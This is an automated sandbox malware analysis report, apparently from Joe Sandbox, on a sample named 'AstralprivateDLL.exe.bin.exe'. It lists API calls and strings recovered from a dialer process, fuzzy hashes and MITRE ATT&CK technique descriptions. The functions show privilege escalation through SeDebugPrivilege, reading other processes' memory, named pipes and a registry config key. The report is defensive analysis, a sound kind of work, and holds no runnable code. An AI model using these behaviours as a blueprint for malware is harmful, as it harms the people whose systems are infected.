Function 1AFFD608 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 1AFFD631
TlsSetValue.KERNEL32 ref: 1AFFD648

Strings

FlsSetValue, xrefs: 1AFFD61E

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction ID: 8c6166d4ce95a1bcf568f3017bc7e07398c4de2c9f263e8fa4f69093ed5a3e48
Opcode Fuzzy Hash: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction Fuzzy Hash: F2E0127221474191EF066B55F8847DA7332BB8C7C4F4A5526F91907365CF38C859C714

Analysis Process: dialer.exePID: 1456, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	48.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	37.4%
Total number of Nodes:	230
Total number of Limit Nodes:	22

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF603B02328 Relevance: 68.4, APIs: 31, Strings: 8, Instructions: 194
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF603B02078: StrCpyW.SHLWAPI ref: 00007FF603B020AA
Part of subcall function 00007FF603B02078: StrCatW.SHLWAPI ref: 00007FF603B020B8
Part of subcall function 00007FF603B02078: GetModuleHandleW.KERNEL32 ref: 00007FF603B020C1
Part of subcall function 00007FF603B02078: GetCurrentProcess.KERNEL32 ref: 00007FF603B0210C
Part of subcall function 00007FF603B02078: K32GetModuleInformation.KERNEL32 ref: 00007FF603B02120
Part of subcall function 00007FF603B02078: CreateFileW.KERNELBASE ref: 00007FF603B02150
Part of subcall function 00007FF603B02078: CreateFileMappingW.KERNELBASE ref: 00007FF603B0217B
Part of subcall function 00007FF603B02078: MapViewOfFile.KERNELBASE ref: 00007FF603B0219F
Part of subcall function 00007FF603B02078: lstrcmpiA.KERNEL32 ref: 00007FF603B021EA
Part of subcall function 00007FF603B02078: CloseHandle.KERNELBASE ref: 00007FF603B02258
Part of subcall function 00007FF603B02078: CloseHandle.KERNEL32 ref: 00007FF603B02261
Part of subcall function 00007FF603B02078: FreeLibrary.KERNEL32 ref: 00007FF603B0226A

VerSetConditionMask.NTDLL ref: 00007FF603B02397
VerSetConditionMask.NTDLL ref: 00007FF603B023A8
VerSetConditionMask.NTDLL ref: 00007FF603B023B9
VerifyVersionInfoW.KERNEL32 ref: 00007FF603B023CC
GetCurrentProcessId.KERNEL32 ref: 00007FF603B023DE
OpenProcess.KERNEL32 ref: 00007FF603B023EE
OpenProcessToken.ADVAPI32 ref: 00007FF603B0240F
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF603B02429
AdjustTokenPrivileges.KERNELBASE ref: 00007FF603B0246D
GetLastError.KERNEL32 ref: 00007FF603B02477
CloseHandle.KERNELBASE ref: 00007FF603B02480
FindResourceExA.KERNEL32 ref: 00007FF603B02494
SizeofResource.KERNEL32 ref: 00007FF603B024AB
LoadResource.KERNEL32 ref: 00007FF603B024C4
LockResource.KERNEL32 ref: 00007FF603B024D6
GetCurrentProcessId.KERNEL32 ref: 00007FF603B024E3
RegCreateKeyExW.KERNELBASE ref: 00007FF603B02524
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00007FF603B02557
RegSetKeySecurity.KERNELBASE ref: 00007FF603B02574
LocalFree.KERNEL32 ref: 00007FF603B02581
RegCreateKeyExW.KERNELBASE ref: 00007FF603B025B9
GetCurrentProcessId.KERNEL32 ref: 00007FF603B025C3
RegSetValueExW.KERNELBASE ref: 00007FF603B025F1
RegCloseKey.KERNELBASE ref: 00007FF603B025FC
RegCloseKey.ADVAPI32 ref: 00007FF603B02607
CreateThread.KERNELBASE ref: 00007FF603B02628
GetProcessHeap.KERNEL32 ref: 00007FF603B0262E
HeapAlloc.KERNEL32 ref: 00007FF603B0263D
CreateThread.KERNELBASE ref: 00007FF603B0266C
CreateThread.KERNELBASE ref: 00007FF603B0268D
SleepEx.KERNELBASE ref: 00007FF603B02695

Strings

DLL, xrefs: 00007FF603B02486
D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 00007FF603B02550
pid, xrefs: 00007FF603B02596
SOFTWARE\dialerconfig, xrefs: 00007FF603B024FF
SeDebugPrivilege, xrefs: 00007FF603B02422
ntdll.dll, xrefs: 00007FF603B0233B
svc64, xrefs: 00007FF603B025CE
kernel32.dll, xrefs: 00007FF603B023D2

Memory Dump Source

Source File: 00000014.00000002.3019134301.00007FF603B01000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF603B00000, based on PE: true

Associated: 00000014.00000002.3018963890.00007FF603B00000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000014.00000002.3019271113.00007FF603B03000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000014.00000002.3019486516.00007FF603B06000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ff603b00000_dialer.jbxd

Similarity

API ID: CreateProcess$Close$CurrentHandleResource$ConditionFileMaskSecurityThread$DescriptorFreeHeapModuleOpenTokenValue$AdjustAllocConvertErrorFindInfoInformationLastLibraryLoadLocalLockLookupMappingPrivilegePrivilegesSizeofSleepStringVerifyVersionViewlstrcmpi
String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$DLL$SOFTWARE\dialerconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$pid$svc64
API String ID: 2439791646-1130149537
Opcode ID: e217ab2428879e7bf15cc9a9388402d8400cf51ef4bf127441e202d36daec020
Instruction ID: b7714f51c7c9d88b7636afb76891d566ff733befa8d60dad5e35ae7282e82abc
Opcode Fuzzy Hash: e217ab2428879e7bf15cc9a9388402d8400cf51ef4bf127441e202d36daec020
Instruction Fuzzy Hash: A3A14135A09B8286E7208F61FA5A3A973E1FB9A74AF604135D9CD97B64DF3CD148C700

Function 00007FF603B014E4 Relevance: 19.6, APIs: 13, Instructions: 130
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00007FF603B01517
HeapAlloc.KERNEL32 ref: 00007FF603B0152A
GetProcessHeap.KERNEL32 ref: 00007FF603B01538
HeapAlloc.KERNEL32 ref: 00007FF603B01549
K32EnumProcesses.KERNEL32 ref: 00007FF603B01563
OpenProcess.KERNEL32 ref: 00007FF603B01591
K32EnumProcessModules.KERNEL32 ref: 00007FF603B015B6
ReadProcessMemory.KERNELBASE ref: 00007FF603B015ED
CloseHandle.KERNELBASE ref: 00007FF603B01629
GetProcessHeap.KERNEL32 ref: 00007FF603B0163B
RtlFreeHeap.NTDLL ref: 00007FF603B01649
GetProcessHeap.KERNEL32 ref: 00007FF603B0164F
RtlFreeHeap.NTDLL ref: 00007FF603B0165D

Memory Dump Source

Source File: 00000014.00000002.3019134301.00007FF603B01000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF603B00000, based on PE: true

Associated: 00000014.00000002.3018963890.00007FF603B00000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000014.00000002.3019271113.00007FF603B03000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000014.00000002.3019486516.00007FF603B06000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ff603b00000_dialer.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$CloseHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 4084875642-0
Opcode ID: 0c5f04347bf6d44913e8b334837d31c7522880c0df581b7b1d3a354cacd3bc02
Instruction ID: 58fd6e88681655eed46428db0a0be4e9d2bb7c14c522e3b37786ca08ec6a33bf
Opcode Fuzzy Hash: 0c5f04347bf6d44913e8b334837d31c7522880c0df581b7b1d3a354cacd3bc02
Instruction Fuzzy Hash: 8751E136B14A828AEB24CF66E9496BD23A0FB5AB8AF544034DE8DA7754DF3CD445C700

Function 00007FF603B01C64 Relevance: 9.1, APIs: 6, Instructions: 88
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 00007FF603B01CB3
SetEntriesInAclW.ADVAPI32 ref: 00007FF603B01D14
LocalAlloc.KERNEL32 ref: 00007FF603B01D24
InitializeSecurityDescriptor.ADVAPI32 ref: 00007FF603B01D3A
SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF603B01D52
CreateNamedPipeW.KERNELBASE ref: 00007FF603B01D94

Memory Dump Source

Source File: 00000014.00000002.3019134301.00007FF603B01000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF603B00000, based on PE: true

Associated: 00000014.00000002.3018963890.00007FF603B00000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000014.00000002.3019271113.00007FF603B03000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000014.00000002.3019486516.00007FF603B06000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ff603b00000_dialer.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 81527eae8623b787a181e0c46c37d2868846c75f5fa2d30b1d243af947967be4
Instruction ID: e85a228786a56630ceadfc3c674da01c2f858033899b397116163459ce0aa0c8
Opcode Fuzzy Hash: 81527eae8623b787a181e0c46c37d2868846c75f5fa2d30b1d243af947967be4
Instruction Fuzzy Hash: 3B41AF36615B41CAE760CF28E5857AD37B4FB55788F50023AEA8D83B98EF78D108CB40

Function 00007FF603B02D84 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF603B01C64: AllocateAndInitializeSid.ADVAPI32 ref: 00007FF603B01CB3
Part of subcall function 00007FF603B01C64: SetEntriesInAclW.ADVAPI32 ref: 00007FF603B01D14
Part of subcall function 00007FF603B01C64: LocalAlloc.KERNEL32 ref: 00007FF603B01D24
Part of subcall function 00007FF603B01C64: InitializeSecurityDescriptor.ADVAPI32 ref: 00007FF603B01D3A
Part of subcall function 00007FF603B01C64: SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF603B01D52
Part of subcall function 00007FF603B01C64: CreateNamedPipeW.KERNELBASE ref: 00007FF603B01D94

Sleep.KERNEL32 ref: 00007FF603B02DA9
ConnectNamedPipe.KERNELBASE ref: 00007FF603B02DB6
ReadFile.KERNELBASE ref: 00007FF603B02DD9
WriteFile.KERNEL32 ref: 00007FF603B02E07
Sleep.KERNEL32 ref: 00007FF603B02E14
DisconnectNamedPipe.KERNELBASE ref: 00007FF603B02E1D

Strings

M, xrefs: 00007FF603B02DFA
\\.\pipe\dialerchildproc64, xrefs: 00007FF603B02D91

Memory Dump Source

Source File: 00000014.00000002.3019134301.00007FF603B01000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF603B00000, based on PE: true

Associated: 00000014.00000002.3018963890.00007FF603B00000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000014.00000002.3019271113.00007FF603B03000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000014.00000002.3019486516.00007FF603B06000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ff603b00000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\dialerchildproc64
API String ID: 2203880229-3489460547
Opcode ID: 7d22ea23ef86ef8925f3c0e3dc4e470fe94490edd279db0f7d690e2db9d12c90
Instruction ID: ddeefcad6021c46cee538cfe129916caa4d57952f0539d64733d4a8362673232
Opcode Fuzzy Hash: 7d22ea23ef86ef8925f3c0e3dc4e470fe94490edd279db0f7d690e2db9d12c90
Instruction Fuzzy Hash: 3011CA35718646C1E714DF11E51A3B96360EF567AAF244234D5DE966E4CF3CD408C700

Function 00007FF603B0228C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF603B01C64: AllocateAndInitializeSid.ADVAPI32 ref: 00007FF603B01CB3
Part of subcall function 00007FF603B01C64: SetEntriesInAclW.ADVAPI32 ref: 00007FF603B01D14
Part of subcall function 00007FF603B01C64: LocalAlloc.KERNEL32 ref: 00007FF603B01D24
Part of subcall function 00007FF603B01C64: InitializeSecurityDescriptor.ADVAPI32 ref: 00007FF603B01D3A
Part of subcall function 00007FF603B01C64: SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF603B01D52
Part of subcall function 00007FF603B01C64: CreateNamedPipeW.KERNELBASE ref: 00007FF603B01D94

Sleep.KERNEL32 ref: 00007FF603B022B1
ConnectNamedPipe.KERNELBASE ref: 00007FF603B022BE
ReadFile.KERNEL32 ref: 00007FF603B022E1
Sleep.KERNEL32 ref: 00007FF603B02302
DisconnectNamedPipe.KERNEL32 ref: 00007FF603B0230B

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 00007FF603B02299

Memory Dump Source

Source File: 00000014.00000002.3019134301.00007FF603B01000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF603B00000, based on PE: true

Associated: 00000014.00000002.3018963890.00007FF603B00000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000014.00000002.3019271113.00007FF603B03000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000014.00000002.3019486516.00007FF603B06000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ff603b00000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 2071455217-3440882674
Opcode ID: 5695317b32aa55875ab713aa7e4462bbb3149900d195a386a470b0f830d0d176
Instruction ID: 592a5162aec9fe265f9f1356edabd8a1a2ddb20d072c912318f896f9c7f3db80
Opcode Fuzzy Hash: 5695317b32aa55875ab713aa7e4462bbb3149900d195a386a470b0f830d0d176
Instruction Fuzzy Hash: 5F01B924F0864681E6149B21E65E37973A0AF67BAAF344634C6DE965D0CF3CD44CC700

Function 00007FF603B019AC Relevance: 4.5, APIs: 3, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(?,?,?,00007FF603B0110E), ref: 00007FF603B019CA
IsWow64Process.KERNEL32(?,?,?,00007FF603B0110E), ref: 00007FF603B019E0
CloseHandle.KERNELBASE(?,?,?,00007FF603B0110E), ref: 00007FF603B019FB

Memory Dump Source

Source File: 00000014.00000002.3019134301.00007FF603B01000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF603B00000, based on PE: true

Associated: 00000014.00000002.3018963890.00007FF603B00000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000014.00000002.3019271113.00007FF603B03000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000014.00000002.3019486516.00007FF603B06000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ff603b00000_dialer.jbxd

Similarity

API ID: Process$CloseHandleOpenWow64
String ID:
API String ID: 10462204-0
Opcode ID: ea685a94494dd3c72d9a5f52f0d7d3242b8d37645b818c6e37f69502b31e9c88
Instruction ID: c26af73d1fa97dbccfbbc27193089c3901e1bee720c9ce1003edf213c06c382b
Opcode Fuzzy Hash: ea685a94494dd3c72d9a5f52f0d7d3242b8d37645b818c6e37f69502b31e9c88
Instruction Fuzzy Hash: E2F06D25B0878282EB188F16F68522962A0FB8DBC1F588039EA8D93748DF3CD445C700

Function 00007FF603B02314 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF603B02328: VerSetConditionMask.NTDLL ref: 00007FF603B02397
Part of subcall function 00007FF603B02328: VerSetConditionMask.NTDLL ref: 00007FF603B023A8
Part of subcall function 00007FF603B02328: VerSetConditionMask.NTDLL ref: 00007FF603B023B9
Part of subcall function 00007FF603B02328: VerifyVersionInfoW.KERNEL32 ref: 00007FF603B023CC
Part of subcall function 00007FF603B02328: GetCurrentProcessId.KERNEL32 ref: 00007FF603B023DE
Part of subcall function 00007FF603B02328: OpenProcess.KERNEL32 ref: 00007FF603B023EE
Part of subcall function 00007FF603B02328: OpenProcessToken.ADVAPI32 ref: 00007FF603B0240F
Part of subcall function 00007FF603B02328: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF603B02429
Part of subcall function 00007FF603B02328: AdjustTokenPrivileges.KERNELBASE ref: 00007FF603B0246D
Part of subcall function 00007FF603B02328: GetLastError.KERNEL32 ref: 00007FF603B02477
Part of subcall function 00007FF603B02328: CloseHandle.KERNELBASE ref: 00007FF603B02480
Part of subcall function 00007FF603B02328: FindResourceExA.KERNEL32 ref: 00007FF603B02494
Part of subcall function 00007FF603B02328: SizeofResource.KERNEL32 ref: 00007FF603B024AB
Part of subcall function 00007FF603B02328: LoadResource.KERNEL32 ref: 00007FF603B024C4
Part of subcall function 00007FF603B02328: LockResource.KERNEL32 ref: 00007FF603B024D6
Part of subcall function 00007FF603B02328: GetCurrentProcessId.KERNEL32 ref: 00007FF603B024E3

ExitProcess.KERNEL32 ref: 00007FF603B0231F

Memory Dump Source

Source File: 00000014.00000002.3019134301.00007FF603B01000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF603B00000, based on PE: true

Associated: 00000014.00000002.3018963890.00007FF603B00000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000014.00000002.3019271113.00007FF603B03000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000014.00000002.3019486516.00007FF603B06000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ff603b00000_dialer.jbxd

Similarity

API ID: Process$Resource$ConditionMask$CurrentOpenToken$AdjustCloseErrorExitFindHandleInfoLastLoadLockLookupPrivilegePrivilegesSizeofValueVerifyVersion
String ID:
API String ID: 2329183550-0
Opcode ID: c424f5b466816f57c667fdb355f9c01d35ce1647c2c5f950e20106d890b0f394
Instruction ID: 08ccbab5609030791779f5809b54bf063b4814d50cd2177f033f4284f5c8cf5a
Opcode Fuzzy Hash: c424f5b466816f57c667fdb355f9c01d35ce1647c2c5f950e20106d890b0f394
Instruction Fuzzy Hash: A7A00414F1554145D5053775555F07D11515F7F707F701C34D04DF5151DF1C555D4711

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report AstralprivateDLL.exe.bin.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Spreading

Networking

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

